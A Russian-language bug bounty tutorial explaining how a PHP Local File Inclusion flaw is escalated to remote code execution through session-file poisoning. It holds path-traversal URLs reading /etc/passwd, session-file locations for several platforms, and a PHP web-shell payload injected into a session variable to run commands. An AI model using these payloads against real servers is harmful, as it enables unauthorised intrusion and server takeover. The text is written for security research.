LFI to RCE. Session poisoning
https://t.me/bug_bounty_notes
Всем привет. В этой статье я хочу рассказать о том, как использование содержимого сессии при наличии LFI может привести к RCE уязвимости.
Главная цель, которой я придерживался - сделать этот гайд максимально полным
В нем указаны пути к хранилищу сессий для Linux и Windows, а также приводятся пути для OpenServer и Denwer
В общем, усаживайтесь поудобнее - будет интересно
Начнем с терминов
Что такое LFI?
LFI, или Local File Inclusion - уязвимость веб приложения, которая позволяет злоумышленнику читать локальные файлы, находящиеся на сервере
Например, есть URL:
http://test.local/?page=news.php
В GET параметре page передается название файла, который необходимо показать пользователю
Веб сервер принимает запрос от клиента, далее читает файл news.php, и выводит его содержимое в виде ответа
Злоумышленник может изменить URL с
http://test.local/?page=news.php
на
http://test.local/?page=../../../../../../../../../etc/passwd
и... заставить сервер выдать содержимое файла passwd
Это и есть LFI
Что такое RCE?
RCE, или Remote Code Execution - уязвимость, которая позволяет злоумышленнику удаленно выполнять код на атакуемом сервере
Думаю тут объяснений не требуется
Я нашел LFI, зачем мне добиваться RCE? Не проще ли зарепортить об LFI, и получить вознаграждение в рамках Bug Bounty?
Между RCE и LFI есть огромная разница, которая заключается в сумме вознаграждения
Давайте взглянем на размер вознаграждений на примере Bug Bounty от Vk: https://app.bugbounty.bi.zone/companies/vkontakte/main
За подтвержденную LFI будет выплачено 600 000 ₽, а за RCE от 1 200 000 ₽ 😎
PHP сессии
Если веб приложение устанавливает куку PHPSESSID, следует попробовать прочитать данные текущей сессии

Для этого копируем значение куки, и через LFI читаем файл /var/lib/php/sessions/sess_ЗНАЧЕНИЕ_КУКИ для Linux или C:\Windows\Temp\sess_ЗНАЧЕНИЕ_КУКИ для Windows
Путь для OpenServer: c:/ospanel/userdata/temp/sess_ЗНАЧЕНИЕ_КУКИ
Путь для Denwer: z:/tmp/sess_ЗНАЧЕНИЕ_КУКИ
На вышеуказанном скриншоте ЗНАЧЕНИЕ_КУКИ будет: g6h98t3krr125ro4iij3e1pajggcfgf8
ВАЖНО! веб разработчик мог переименовать название сессии PHPSESSID и изменить длину её значения путём редактирования параметров session.name и session.sid_length в php.ini
Например, на приведенном ниже скриншоте название куки - CUSTOM_PHPSESSID_NAME, а её значение состоит из 256 символов. Несмотря на все изменения - данные сессии все также можно прочитать при помощи обращения к файлу sess_ЗНАЧЕНИЕ_КУКИ

Эксплуатируем
Предположим, существует LFI уязвимость в параметре page, при обращении к странице
http://bug-bounty-notes.local/?page=news.php&slug=security

Читаем файл сессии, обратившись по URL
http://bug-bounty-notes.local/?page=../../../../../../../../../ospanel/userdata/temp/sess_jkt010ermv4gpkv823hns53pkds2960u&slug=security

Видим, что в файле сессии хранится следующая строка:
last_request|i:1675242384;page|s:4:"news";last_news_slug|s:8:"security";
Переменные сессии разделяются знаком ; и имеют вид:
НАЗВАНИЕ_ПЕРЕМЕННОЙ|ТИП_ПЕРЕМЕННОЙ:ЗНАЧЕНИЕ_ПЕРЕМЕННОЙ
В случае, если переменная содержит в себе строковое значение, после типа переменной будет указана длина её содержимого:
НАЗВАНИЕ_ПЕРЕМЕННОЙ|ТИП_ПЕРЕМЕННОЙ:ДЛИНА_СОДЕРЖИМОГО:ЗНАЧЕНИЕ_ПЕРЕМЕННОЙ
В нашем случае, переменные и их значения выглядят так:
last_request: 1675242384 page: news last_news_slug: security
Следующим этапом будет поиск переменной, которую можно изменить при помощи данных, полученных от пользователя
last_request - timestamp последнего запроса от пользователя
page - название запрошенной страницы
last_news_slug - последняя прочитанная статья
На timestamp повлиять мы не можем, а значит вариант отравления переменной last_request сразу отбрасываем
Остаются page и last_news_slug
Пробуем изменить значение переменной page обратившись в новой вкладке по URL
http://bug-bounty-notes.local/?page=test.php&slug=security

Возвращаемся вновь к первой вкладке и обновляем страницу:

Переменная page не изменилась. Возможно, она не зависит от пользовательского ввода
Перейдём к last_news_slug
Во второй вкладке обращаемся по URL, изменив значение параметра slug:
http://bug-bounty-notes.local/?page=news.php&slug=some-data

Переходим на первую вкладку, обновляем страницу:

Отлично! Переменная last_news_slug хранит в себе данные, полученные от пользователя
Далее вставляем пэйлоад <?php system($_GET['cmd']); ?> в GET параметр slug:

И, передав GET параметр cmd получаем возможность удаленно выполнять команды на сервере 🥳
